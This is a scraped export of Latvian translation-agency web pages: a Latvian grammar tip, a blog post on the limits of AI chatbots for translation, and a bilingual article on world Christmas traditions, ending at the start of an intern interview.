plūdums tulkotajā valodā būtu dabisks. KĀ VAR PALĪDZĒT SKRIVANEK? Skrivanek ir tulkošanas birojs, kas specializējas lokalizācijā un kalpo kā tilts starp jūsu produktu un iecerēto tirgu. Mūsu eksperti nodrošinās, ka jūsu produkts uzrunās plašu auditoriju dažādos reģionos. Izmantojot tulkošanas biroja zināšanas lokalizācijā, jūs ievērojami uzlabojat savu produktu pievilcību pasaules tirgum, kā arī palielināt pārdošanas apjomus starptautiskā līmenī. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt --- > Dēļ tevis es nokavēju autobusu vai tevis dēļ es nokavēju autobusu. Kā būs pareizi? Šis un daudzi citi latviešu valodas padomi vienuviet! - Published: 2024-01-17 - Modified: 2025-01-16 - URL: https://skrivanek.lv/del-tevis-pret-tevis-del/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DĒĻ TEVIS VAI TEVIS DĒĻ 1 Dēļ tevis es nokavēju autobusu vai tevis dēļ es nokavēju autobusu. Kā būs pareizi? Lai arī daudziem būs zināma dziesma “Dēļ jums, daiļās dāmas, dēļ jums”, stilistiski un gramatiski pareizi latviešu valodā būtu tādus prievārdus kā “dēļ” vai “labad” teikumā vienmēr rakstīt aiz vārda, uz ko tie attiecas. Tātad teiksim “Tevis dēļ es nokavēju autobusu” un “Mīļā miera labad nākamreiz iesim uz autobusu kopā! ”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Iepazīsti Skrivanek atziņas par mākslīgo intelektu tulkošanā – potenciālu, riskus un to, kāpēc cilvēka iesaiste joprojām ir ļoti svarīga. - Published: 2024-01-16 - Modified: 2024-11-12 - URL: https://skrivanek.lv/maksligais-intelekts-paligs-tulkosanai-tacu-ne-aizstajejs/ - Kategorijas: Raksti - Translation Priorities: Optional MĀKSLĪGAIS INTELEKTS – PALĪGS TULKOŠANAI, TAČU NE AIZSTĀJĒJS Mākslīgais intelekts 2023. gadā dominēja daudzu ziņu un viedokļrakstu virsrakstos. Kādas iespējas un riskus sniedz MI rīki? Vai tie kalpo kā “burvju nūjiņa”, kas spēj atrisināt gandrīz jebko? Šo un daudz kā cita uzzināsiet šajā “Skrivanek” bloga ierakstā. Mākslīgā intelekta rīki, kas veidoti uz lielo valodas modeļu bāzes (“large language model”), pirmo reizi nonākot plašākas auditorijas rīcībā, daudziem radīja pretrunīgas izjūtas – sākot ar sajūsmu līdz pat pamatīgām bažām. Darbinot klasiskos mākslīgā intelekta čatbotus, pastāv zināmi riski un ierobežojumi – it īpaši tulkošanas ziņā –, taču ar apdomu un pat viltību to izmantošana ir iespējama. Īsāk sakot, būs nepieciešama valodas profesionāļa iesaiste. BIEŽI TRŪKST VIETĒJĀ KONTEKSTA Teksta tulkošana kā process varētu šķist pavisam vienkāršs. Ņemam vienu vārdu, piemeklējam tādu pašu citā valodā, kurā teksts jāatveido, un gatavs! Tik vienkārši vis nav. Īpaši radošos materiālos. Katrai valodai var atšķirties teikumu uzbūve, partikulas, personvārdu atveide un daudz kā cita. Nemaz nerunājot par īpatnējākiem izteicieniem, frazeoloģismiem vai saīsinājumiem. Piemēram, angļu valodā nereti viena teikuma ietvaros tiek izmantoti ne tikai viens vai divi, bet pat četri un pieci vietniekvārdi. Šāda veida teksts, apstrādājot mašīntulkošanā bez papildu instrukcijām, latviešu valodas pratējiem šķitīs savāds, nedabisks. Avots: “ChatGPT” 4. 0 versija. Tulkošanas piemērs bez papildu instrukcijām. MAZ TRENIŅDATU LATVIEŠU VALODĀ Ņemot vērā latviešu valodā runājošo skaitu visā pasaulē, ir skaidrs, ka čatbotu trenēšanā pamatā izmanto plašāk izplatītas valodas – angļu, spāņu. Līdz ar to, ja vien čatbotam netiek speciāli piekodināts rīkoties īpašā veidā, tad ar valodas kultūru saistīti jautājumi “pazudīs tulkojumā”. Avots: “ChatGPT” 4. 0 versija. Tulkošanas piemērs bez papildu instrukcijām. Piemērā norādītais teikums ir visai vienkāršs, taču uzreiz tajā ir redzamas vairākas kļūdas, no kurām pamanāmākās ir nepareizas galotnes. Tās izlabojot, varētu domāt, ka teksts ir lietojams. Taču latviešu valodas kultūrā nepastāv izteiciens par “sarkanajiem karodziņiem”, tādēļ daļa lasītāju varētu būt neizpratnē, ko īsti vēlamies ar šādu teikumu pateikt. Avots: “ChatGPT” 4. 0 versija. Tulkošanas piemērs ar papildu instrukciju padarīt tekstu lasāmāku latviešu kā dzimtās valodas pratējiem. Sniedzot čatbotam vēl vienu instrukciju, proti, padarīt tulkoto tekstu patīkamāku un lasāmāku latviešu valodas kā dzimtās pratējiem, teikums kļūst saprotamāks nekā iepriekšējā piemērā. Taču, ja nav cita papildu konteksta, tad tas tāpat ir nedaudz mulsinošs. Par kādiem brīdinājuma signāliem runājam? Vadības paneļa lampiņām? Pagrieziena rādītājiem? Vai tomēr neparastiem trokšņiem motortelpā, uzsākot braucienu? TEKSTS IR RŪPĪGI JĀPĀRBAUDA Jebkurš vārds, kuru mums “izsniedz” čatboti, ir rūpīgi jāpārbauda. Tulkojot varētu šķist, ka faktu pārbaudei ir jāvelta mazāk uzmanības. Tiesa, jo pamata materiāls robotam jau ir, taču nereti arī tulkotie vārdi var pārveidoties un kļūt nedaudz dīvaini. Avots: “ChatGPT” 4. 0 versija. Vaicājums pēc analoga latviešu valodā, kas apraksta angļu valodas vārdu “pop” reklāmas materiāla izveidei. Kā redzams augstāk pievienotajā attēlā, mašīntulks sniedz 66 % neizmantojumu variantu, kas latviešu valodā neeksistē, vai arī ir ar citu kontekstu. Bieži šāds fenomens ir novērojams, vaicājot čatbotiem sniegt kādas citas valodas analogu latviešu valodā. Ja vaicājums ir īss, iespējams, konteksta ir par maz, lai sniegtu apmierinošu vai pat labu variantu. Taču līdzīgas situācijas ikdienā tiek novērotas arī ar garākiem tekstiem, kuros pēkšņi itin ikdienišķiem vārdiem galotnes kļūst izteikti greizas. Gluži kā raksta pirmajā vizuālajā piemērā, kur vārds “līdzīgā” pārtapa par neeksistējošu “līdzējā”. INFORMĀCIJA VAR TIKT IZMANTOTA TRENIŅU NOLŪKOS Kā vēsta sena interneta vides paruna – kas nonācis internetā, tur paliek uz mūžiem. Cik lielā apjomā dati pēc to ievades čatbotos nonāk treniņu datos, to zina tikai paši izstrādātāji, taču, ja vien netiek izslēgta robota atmiņa, tad daļa no šiem datiem var nonākt izstrādātāju rīcībā. Tādēļ pirms populārāko čatbotu izmantošanas ir vērtīgi iepriekš izveidot vadlīnijas, kāda veida saturu var tajā rakstīt bez raizēm, neuztraucoties par datu vai ideju “noplūdēm”. Šā iemesla dēļ vairāki uzņēmumi veido savus iekšējos mākslīgā intelekta rīkus, lai dati nenonāktu trešo personu rīcībā. MI RĪKI PAMAZĀM KĻŪST SLINKĀKI Jo vairāk mākslīgā intelekta treniņdatos tiek iekļauti reāli dati no sociālajiem tīkliem un diskusiju forumiem, jo robotiņš kļūst slinkāks. Iemesls tam ir visai uzjautrinošs un, iespējams, ne gluži precīzākais, bet ar laiku, atkārtojot līdzīgas darbības, piemēram, prasot aprakstīt vai izskaidrot tīmekļa vietni vai dokumentu, “ChatGPT” bez spraudņiem jeb “plug-ins” visbiežāk palīdzēs ar nelielu daļiņu, nevis izpildīs visu uzdevumu. Pirms kāda laika “ChatGPT” kā jaunumu piedāvāja iespēju robotam iesniegt datnes, tos augšupielādējot, kurus tas spētu analizēt. Varētu šķist, ka šo funkciju tikpat labi varētu izmantot, lai tulkotu vairāku desmitu lappušu dokumentus. Taču nē. Robots drīzāk sniegs nelielu ieskatu viena vai vairākos paragrāfos, bet pilnībā ignorēs pārējo dokumentu. Iespējams, ka pie slinkuma ne tik daudz vainojama robotu novērotā rīcība internetā, cik valodas modeļa darbināšanas augstās izmaksas. 2023. gada aprīlī datu pētniecības uzņēmums “SemiAnalysis” secināja, ka katrs prasījums vai pavēle (“prompt”), kas ievadīta čatbotā, izmaksā 0,36 dolārus. DATU APJOMS IR PĀRĀK PLAŠS Izmantojot mākslīgā intelekta rīkus, lai tulkotu tekstus, dokumentus, lielā mērā ir noderīgi, ja treniņdatos ir iekļauts jau gandrīz viss internets – teorētiski robotam neviena tēmu nebūtu sveša. Taču, kā saka, kas der visam, tas neder nekam. Lai padarītu tulkošanu efektīvāku, ir divas iespējas – pašrocīgi cīnīties, veidojot pielāgotas pavēles, vai arī izmantot kādu jau latviešu valodas kultūras īpatnībām pielāgotu tulkošanas rīku. Ja apsverat domu par mašīntulkošanu, pieslēdzot arī mākslīgo intelektu, tad iesakām ieskatīties “Skrivanek” veidotajā mašīntulkošanas risinājumā, kas pielāgots uzņēmumu vajadzībām. Kā jau minēts, izmantojot “ChatGPT” un citus līdzīgus rīkus, treniņdatu apjoms ir plašs, taču tas nav pielāgots latviešu valodai. Jā, arī bez pielāgojumiem ir iespējams iegūt visai augstu precizitāti ar MI rīkiem, taču ne vienmēr var paļauties, ka saturs būs bez barbarismiem, nevajadzīgiem anglicismiem vai MI jaunradītiem vārdiem. Tulkots teksts pilnībā sasniedz savu uzdevumu, ja, to lasot, nav iespējams pateikt, ka tas iepriekš radīts citā valodā. “SKRIVANEK” MAŠĪNTULKOŠANAS RĪKA PRIEKŠROCĪBAS: Ātra apstrāde. Ja tekstu nepieciešams tulkot, lai pēc iespējas ātrāk izprastu dokumenta jēgu, ar mašīntulkošanas rīku iespējams ietaupīt laiku un naudu. Pielāgots vietējam tirgum. Izteicieni, kas saprotami vienā valstī, citā var likt brīnīties. Dati netiek uzglabāti serverī. Tradicionālajos MI rīkos ievadītā informācija var tikt izmantota treniņu nolūkiem. “Skrivanek” neironu mašīntulkotājā ievadītā informācija netiek nodota tālāk trešām personām. Iespēja tekstu “noslīpēt”. Lai pārliecinātos, ka teksts būs “nopucēts līdz ūsiņai”, pēc MI rīka izmantošanas iespējams piesaistīt profesionālu tulkotāju vai tekstu radītāju. KOPSAVILKUMS Katram rīkam ir savas priekšrocības un trūkumi. Mākslīgā intelekta rīki nav izņēmums – to radītie teksti var tikt lietoti, taču, lai iegūtu ļoti izcilus, elegantus tekstus, kas mudina uz rīcību, ir svarīgs valodnieka vai tulkotāja pieskāriens. Mākslīgais intelekts spēj veikt brīnumu lietas – it īpaši saskaroties ar šādiem rīkiem pirmo reizi –, taču bieži tie ir pārāk neparasti, lai varētu tikt uzreiz izmantoti. Lai teksts būtu labs un atbilstošs vietējam tirgum, ir svarīgs profesionāla valodas eksperta skatījums. --- > Ne visur Ziemassvētkos rotā eglītes, saņem dāvanas un ciemos nāk Ziemassvētku vecītis. Apkopojām interesantas Ziemassvētku tradīcijas no visas pasaules. - Published: 2023-12-11 - Modified: 2025-07-16 - URL: https://skrivanek.lv/unikalas-un-interesantas-ziemassvetku-tradicijas-no-12-pasaules-valstim/ - Kategorijas: Raksti - Translation Priorities: Optional UNIKĀLAS UN INTERESANTAS ZIEMASSVĒTKU TRADĪCIJAS NO 12 PASAULES VALSTĪM Latvijā Ziemassvētkus svinam, ievērojot dažādas tradīcijas, bieži vien pagānisko apvienojot ar kristīgajām ieražām. Ne tikai eglītes rotāšana, Ziemassvētku vecīša ciemošanās, dāvanas draugiem un tuviniekiem, dzejolīšu skaitīšana, bet arī bluķa vilkšana, zīlēšana, puzuru darināšana un iešana ķekatās ir ikvienam latvietim labi zināmas tradīcijas. Interesanti, ka ne visur Ziemassvētkus sagaida šādi, tāpēc apkopojām unikālas un interesantas Ziemassvētku tradīcijas no 12 pasaules valstīm. Šīs tradīcijas parāda dažādo un radošo veidu, kā dažādās kultūrās svin Ziemassvētkus. Skrivanek Latvijas komanda visiem vēl gaišus, saticīgus un priecīgus Ziemassvētkus! SVĒTAIS NIKOLASS UN KRAMPUSS AUSTRIJĀ Visi esam dzirdējuši, ka par sliktu uzvedību Ziemassvētkos varēs saņemt tikai žagarus. Austrijā viss ir vēl draudīgāk, jo pēršanu uzņemas neviens cits kā Krampuss — ragains briesmonis, kas ir ar mieru tikt galā ar visiem nepaklausīgajiem bērniem, kamēr Svētais Nikolass ierodas tikai pie tiem, kuri bijuši rātni. Krampuss ne vienmēr samierinās tikai ar pēršanu, nepaklausīgie bērni var tikt apēsti, vai vēl ļaunāk, aizrauti uz pašu elli. Krampusu var dzirdēt vēl pirms viņš ieradies, jo viņa klātbūtni pavada sarūsējušu ķēžu draudīgā klakšķēšana un baismīga govs zvanu šķindoņa. 5. decembrī vīrieši ģērbjas baisos, velnišķīgos Krampusa tērpos un dodas pilsētas ielās, ieperot cilvēkus ar nūjām un rīkstēm, kā arī biedē bērnus savās mājās. Austrijā un dažās Vācijas daļās šī tradīcija pazīstama kā Krampusnacht jeb “Krampusa nakts”. Ja šī svētku tradīcija izklausās vilinoša, noteikti ir vērts apmeklēt ikgadējo Krampusu parādi Vīnē. SALMU KAZA ZVIEDRIJĀ Zviedrijā cilvēki uzskata, ka kaza ir neredzams gars, kas parādās pirms Ziemassvētkiem, lai pārliecinātos, ka gatavošanās svētkiem norit pareizi. Saukta arī par Yule Goat, tradīcijas aizsākums tiek datēts ar 11. gadsimtu, kad pirmo reizi minēta cilvēka lieluma kazas figūra, kuru pavadā ved Svētais Nikolass. Kazas loma gadsimtu gaitā mainījusies. 17. gadsimtā jauni vīrieši ģērbās kā kazas un skraidīja apkārt, izjokojot citus un pieprasot dāvanas. 19. gadsimtā kaza kļuva par dāvanu devēju. Ziemassvētku vecīša vietā ģimenes vīrieši nereti ģērbās kā kaza un dāvināja dāvanas visai ģimenei. Mūsdienās kaza ir ieņēmusi savu vietu kā tradicionāls Ziemassvētku rotājums visā Zviedrijā. Lielākās pilsētās no salmiem un sarkanām lentēm tiek veidotas šo kazu ornamentu milzu versijas. SALDUMIEM PILDĪTAIS BAĻĶIS KATALONIJĀ, SPĀNIJĀ Katalonijā Ziemassvētku tradīcija saistīta ar koka baļķi, ko sauc par Caga Tió, kas tulkojumā nozīmē “kakājošais baļķis”. Izdobtam baļķim vienā galā piestiprina mazas koka kājiņas, uz kurām stāvēt, otrā galā uzzīmē sejiņu. Sākot ar 8. decembri, Caga Tio katru nakti pabaro ar gardumiem un apsedz ar segu. Ziemassvētku vakarā vai Ziemassvētkos sit baļķim ar nūju un pavēl “kakāt” tajā paslēptās konfektes un riekstus. Te gan jāpiebilst, ka tā nav vienīgā ar šo nodarbi saistītā tradīcija pasaulē. Spānijas, Portugāles un Itālijas reģionā Ziemassvētkos tradicionāli atveido Betlēmes ainas. Līdzās Marijai, Jāzepam un Jēzus bērniņam tiek novietota Kaganera jeb vīrieša figūriņa, kurai līdz ceļiem nolaistas bikses un zem dibena jau neliela čupiņa – kakātāja skulptūriņa. Kaganers nesot veiksmi un tradīcija izplatīta jau kopš 18. gadsimta. Mūsdienās līdzās tradicionāli ģērbtajam kakātājam ir pieejamas sabiedrībā pazīstamu personību, mūķeņu, politiķu un Santa Klausa figūriņas. VISTIŅAS UN KŪKAS ZIEMASSVĒTKU ĒDIENKARTĒ JAPĀNĀ Kamēr latvieši labprāt Ziemassvētku maltītei izvēlas speķa pīrādziņus, zirņus ar speķi, štovētus kāpostus un piparkūkas, Japānā populāra tradīcija ir Ziemassvētku vakariņās ēst Kentucky Fried Chicken jeb KFC ceptās vistiņas. 1970. gadā Japānā tika atvērts pirmais KFC restorāns, savukārt šī tradīcija aizsākusies 1974. gadā pēc ārkārtīgi veiksmīgas zīmola mārketinga kampaņas un turpinās vēl aizvien. Īpašais Ziemassvētku piedāvājums jāpasūta laicīgi, citādi var nākties stāvēt garumgarā rindā. Uz svētku galda blakus vistiņām ir arī kas salds — Ziemassvētku kūka. Tā ir biskvīta tortei līdzīga baltas krāsas kūka, kas ir bagātīgi pārklāta ar putukrējumu un zemenēm. ZIRNEKĻU TĪKLI EGLĪTĒ UKRAINĀ Ziemassvētku gurķis nav vienīgā savādā lieta, ko karināt eglītē. Ukrainā eglītē paslēpj mākslīgos zirnekļus ar tīkliem, uzskatot, ka to atradējus sagaida veiksme. Kāda ukraiņu tautas teika vēsta par nabaga atraitni, kurai pietrūcis naudas, lai nopirktu rotājumus ģimenes Ziemassvētku eglītei. Kādu rītu viņa modusies un pamanījusi zirnekli, kas skaisti izgreznojis eglīti ar savu tīklu, darot sievieti svētkos ļoti laimīgu. Ukraiņu kultūrā tiek uzskatīts, ka zirnekļu tīkli nes veiksmi. ZIEMASSVĒTKU GURĶIS AMERIKAS SAVIENOTAJĀS VALSTĪS Ierasti redzēt Ziemassvētku eglīti, rotātu ar bumbiņām, eņģelīšiem, zvaigznēm un citiem svētku rotājumiem, taču kā būtu ar rotājumu gurķa izskatā? Vairākās Amerikas daļās pastāv vāciešu imigrantu radīta tradīcija, kas saistīta ar Ziemassvētku gurķi, kas tiek paslēpts svētku eglītē. Bērns, kas to atrod pirmais, saņem papildu dāvanu vai veiksmi visā nākamajā gadā. Vēl kāda interesanta tradīcija Amerikas Savienotajās Valstīs ir SantaCon, kas ieviesta 1994. gadā. Pilsētu centros pulcējas ļaudis Ziemassvētku vecīšu tērpos, kopā svin svētkus un dodas parādēs. Vislielākā Ziemassvētku vecīšu ballīte notiek Ņujorkā. ZIEMASSVĒTKU RAGANA ITĀLIJĀ Itālijā Ziemassvētku vecīti nereti aizstāj La Befana — veca sieviņa, kas pārvietojas, lidojot uz slotas kāta. 5. janvāra naktī labā ragana apciemo visus bērnus un dāvina dāvanas tiem, kuri bijuši paklausīgi, bet sīpolus un ķiplokus atstāj resgaļiem. Gluži kā Ziemassvētku vecītis, arī La Befana ienāk mājās pa skursteni, un tur dzīvojošie bērni viņai atstāj gardumus — parasti vīnu un vietējās delikateses. ZIEMASSVĒTKU DZIESMAS BUNGU RITMOS PUERTORIKO Līdzīgi Amerikā populārajiem Ziemassvētku korāļiem, arī puertorikāņi dodas ielās pēc pulksten 22. 00, lai dziedātu tradicionālās Ziemassvētku dziesmas. Tas ir daudz jautrāks un skaļāks pasākums, nekā ierasts, jo dziedāšanu pavada dažādi tradicionālie instrumenti: ģitāras, tamburīni un bungas. RĪSU PUTRA UN SAUNA SOMIJĀ Visi zina tradicionālos Ziemassvētku ēdienus, taču ir kāds ēdiens, ko Somijā ceļ galdā Ziemassvētku rītā — sātīga rīsu un piena putra ar kanēli un sviestu. Sen zināms, ka somi mīl saunu. Viņi tajā ir gatavi doties jebkurā laikā, arī Ziemassvētku vakarā. Somijā pastāv tradīcija, ka pirms Ziemassvētku mielasta ikvienam ir jādodas relaksējošā pirtī, lai attīrītu savu organismu pirms svētku svinēšanas. AR SKRITUĻSLIDĀM UZ BAZNĪCU VENECUĒLĀ Baznīcas apmeklējums Ziemassvētkos nav nekas jauns, taču Venecuēlā iedzīvotājiem ir tradīcija doties uz Ziemassvētku dievkalpojumu ar skrituļslidām. Ielas bieži tiek slēgtas automašīnām, lai ļautu izbaudīt svētkus un unikālo skatu ar cilvēkiem, kuri ripinās uz baznīcu. Tiek uzskatīts, ka skrituļslidošana Venecuēlā ir kļuvusi tik populāra, jo svētku laikā nav sniega un nav iespējas braukt ar ragaviņām. 13 DIENAS AR DĀVANĀM UN YULE KAĶIS ISLANDĒ Mums ierasts Ziemassvētku gaidīšanas laiku atzīmēt četrās adventes svētdienās, iededzot pa svecītei, savukārt Islandē svētkus gaida, sākot ar 12. decembri — kopā 13 dienas. Islandē tic, ka katra no šīm dienām veltīta vienam no 13 Yule Lad tēliem, kas folklorā līdzinās bārdainiem vīriņiem, kuri, iespējams, radniecīgi troļļiem. Šie vecīši apmeklē bērnus 13 naktis pirms Ziemassvētkiem, atstājot dāvanas vai puvušus kartupeļus atkarībā no bērna uzvedības. Gardumi tiek ievietoti Ziemassvētku zābaciņos, kas piekarināti pie loga. Bet tas vēl nav viss. Ziemassvētku laikā sniegotajos laukos klīst arī milzu Yule kaķis, kas aprij ikvienu, kas šajā laikā nav iegādājies jaunu apģērbu. Mūsdienās joprojām Islandē ir ierasts Ziemassvētkos iegādāties drēbes, lai izvairītos no nepatīkama ceļojuma kaķa vēderā. SLOTU SLĒPŠANA NORVĒĢIJĀ Norvēģiem ir paraža Ziemassvētku vakarā slēpt visus slotas kātus, jo pastāv uzskats, ka šajā naktī mostas raganas, ļaunie gari un citi mošķi, kas meklē iespēju nozagt slotas, lai pārvietotos pa visu valsti. ZIEMASSVĒTKI VAI ZIEMAS SAULGRIEŽI? Vai rakstīsim Ziemas saulgrieži jeb Ziemassvētki vai ziemas saulgrieži jeb ziemassvētki? Uzziniet atbildi šajā latviešu valodas padomā! Valodas padoms ADVENTE VAI ADVENTS? Vai Ziemassvētku gaidīšanas laiks ir advente vai advents? Uzziniet atbildi šajā latviešu valodas padomā! Valodas padoms --- > Not everyone decorates Christmas trees, gives gifts, and expects Santa Claus to visit. We've compiled some interesting Christmas traditions from around the world. - Published: 2023-12-11 - Modified: 2025-07-09 - URL: https://skrivanek.lv/unikalas-un-interesantas-ziemassvetku-tradicijas-no-12-pasaules-valstim/ - Kategorijas: Article, Raksti - Translation Priorities: Optional UNIQUE AND INTERESTING CHRISTMAS TRADITIONS FROM 12 COUNTRIES AROUND THE WORLD Christmas is celebrated in various ways, often combining pagan and Christian traditions. Decorating Christmas trees, visits from Santa Claus, exchanging gifts with friends and family, reciting poems, and even log pulling and walking on stilts are well-known traditions for most. Interestingly, not everyone celebrates Christmas the same way, so we have compiled some unique and interesting Christmas traditions from 12 countries around the world. These traditions showcase the varied and imaginative ways different cultures celebrate Christmas. All of us here at Skrivanek Baltic wish you a bright, cheery and merry Christmas! SAINT NICHOLAS AND KRAMPUS IN AUSTRIA We've all heard that naughty behaviour before Christmas can get you nothing but a lump of coal under the tree. In Austria, the consequences are far more dire, as misbehaving children can expect a visit by none other than Krampus – a horned monster willing to deal with all the naughty kids, while Saint Nicholas only visits those who have been good. Krampus doesn't just deal out coal; bad children may be eaten or, worse, dragged to hell. Krampus can be heard before he arrives, as his visit is heralded by the rattling of rusty chains and the terrifying bell of a shaggy goat. On 5 December, men dress up as Krampus and roam the city streets, frightening people with sticks, and coming to scare children in their own homes. In Austria and some parts of Germany, this tradition is known as Krampusnacht or "Krampus Night". If this holiday tradition sounds intriguing, it's definitely worth attending the annual Krampus parade in Vienna. STRAW GOAT IN SWEDEN In Sweden, people believe that an invisible spirit taking the form of a goat appears before Christmas to ensure that the preparations for the holiday are going well. Also known as the Yule Goat, this tradition dates back to the 11th century, featuring a life-sized goat figure accompanied by Saint Nicholas. The role of the goat has evolved over the years. In the 17th century, young men dressed as goats, prancing around, teasing others, and demanding gifts. In the 19th century, the goat became a gift giver. Instead of Santa Claus, the man of the house often dressed as a goat and presented gifts to the entire family. Nowadays, the goat can oft be spotted as a traditional Christmas decoration throughout Sweden. In major cities, giant versions of these goat ornaments are crafted from straw and red ribbons. THE POOPING LOG IN CATALONIA, SPAIN In Catalonia, there’s a Christmas tradition that revolves around a wooden log called Caga Tió, which translates to "pooping log". This is a decorated log that has small wooden propping it up, and a face drawn on one end. Starting from 8 December, Caga Tió is “fed” treats and covered with a blanket every night. On Christmas Eve or Christmas Day, the log is hit with a stick, making it "poop" out hidden candies and nuts. It's worth mentioning that this is not the only tradition in the world related to pooping. In Spain, Portugal and certain regions of Italy, Christmas is traditionally depicted through Nativity scenes. In these places, alongside Mary, Joseph, and baby Jesus, stands a figurine called Kaganer, carved in the image of a man with lowered pants and a small pile of poop under him. Kaganer is believed to bring good luck, and the tradition has been widespread since the 18th century. Nowadays, in addition to the traditionally dressed pooper, figurines of well-known personalities, monks, politicians, and Santa Claus can also be spotted. FRIED CHICKEN AND CAKE ON THE CHRISTMAS MENU IN JAPAN While the English-speaking part of the World partakes in Christmas ham and pudding during the holidays, in Japan, a well-known tradition is to have Kentucky Fried Chicken (KFC) as part of a Christmas meal. In 1970, the first KFC restaurant opened in Japan, and this tradition started in 1974 after an extremely successful marketing campaign. The special Christmas offer needs to be ordered in advance; otherwise, one might end up waiting in an endless queue. Besides the chicken, there is also something sweet on the Japanese holiday table – the Christmas cake. It is a white sponge cake covered in whipped cream and strawberries. SPIDER WEBS ON THE CHRISTMAS TREE IN UKRAINE The Christmas pickle is not the only unusual thing to hang on a tree. In Ukraine, folks hide artificial spiders with webs in their Christmas tree, with the belief that finding them brings good luck. According to Ukrainian folklore, there once was a poor widow who couldn't afford decorations for her family's Christmas tree. One morning, she woke up and noticed a spider that had beautifully decorated her tree with its web, bringing festive cheer to her abode. In Ukrainian culture, spider webs are considered to bring good luck. CHRISTMAS PICKLE IN THE UNITED STATES It's common to see Christmas trees decorated with ornaments, angels, stars and other decorations, but how about a pickle-shaped ornament? In several parts of the United States, there is a tradition started by German immigrants involving a Christmas pickle, which is hidden in the Christmas tree. The child who finds it first receives an additional gift or is said to have good luck throughout the next year. Another interesting tradition in the United States is SantaCon, introduced in 1994. People gather in city centres dressed as Santa Claus, celebrating together and participating in parades. The largest SantaCon party takes place every year in New York. CHRISTMAS WITCH IN ITALY In Italy, the role of Santa Claus is often taken over by La Befana – an old lady who travels on a broomstick. On the night of 5 January, the good witch visits all children and gives gifts to those who have been good, leaving onions and garlic for the naughty ones. Just like Santa Claus, La Befana enters homes through the chimney and snacks on treats left by children – usually wine and local delicacies. CHRISTMAS CAROLLING WITH DRUMS IN PUERTO RICO Similar to Christmas carolling in America, Puerto Ricans take to the streets around 10:00 PM to sing traditional Christmas songs. It's much louder and more fun than you would expect, as the carolling is accompanied by various traditional instruments: guitars, tambourines, and drums. RICE PORRIDGE AND SAUNA IN FINLAND Everyone is familiar with traditional Christmas foods, but Finland has its own traditional meal for Christmas morning – a hearty rice and milk porridge with cinnamon and butter. Finns are known for their love of saunas, and they are up for a steam anytime, even on Christmas Eve. In Finland, it’s tradition to go to sauna and cleanse your body before sitting down for the Christmas feast and celebrating the holiday. SKATING TO CHURCH IN VENEZUELA While attending church on Christmas is nothing new, in Venezuela, there exists a tradition of going to Christmas Mass on roller-skates. Streets are often closed to cars to allow for the festive and unique sight of roller-skaters making their way to church. It is believed that roller-skating has become so popular in Venezuela during the holiday season because there is no snow, and using sleighs or skiing is not an option. 13 DAYS OF GIFTS AND THE YULE CAT IN ICELAND While we are counting down to Christmas with our Advent wreaths and calendars, Iceland starts anticipating Christmas on 12 December – for a total of 13 days. In Iceland, it is believed that each of these days is dedicated to one of the 13 Yule Lads, characters reminiscent of bearded men, possibly related to trolls from traditional folklore. These creatures visit children the 13 nights before Christmas, leaving gifts or rotten potatoes depending on the kids' behaviour. Treats are placed in Christmas stockings hanging by the window. But that's not all! During the Christmas season, a giant Yule Cat roams around in snowy fields, devouring anyone who has not bought new clothes during this time. Even today, it is a popular tradition in Iceland to buy clothes for Christmas to avoid an unpleasant fate. HIDING BROOMS IN NORWAY Norwegians have a Christmas Eve tradition of hiding all the brooms in the house, because on this night, witches, evil spirits and other mischievous creatures awaken and search for brooms, so that they can travel throughout the country and play tricks on people. Ziņu izvēlne Read our previous blog postValsts ieņēmumu dienestsRead our new blog postValsts sociālās apdrošināšanas aģentūra --- > Praksei mūsu uzņēmumā piesakās studenti gan no visas Latvijas, gan ārvalstīm. Uzzini par viņas izaicinājumiem Latvijā un gūto pieredzi. - Published: 2023-12-05 - Modified: 2024-10-22 - URL: https://skrivanek.lv/intervija-ar-skrivanek-praktikanti-jelizavetu-slobodjaniku-no-vacijas/ - Kategorijas: Intervija - Translation Priorities: Optional INTERVIJA AR SKRIVANEK PRAKTIKANTI JELIZAVETU SLOBODJAŅIKU NO VĀCIJAS 1. PASTĀSTI 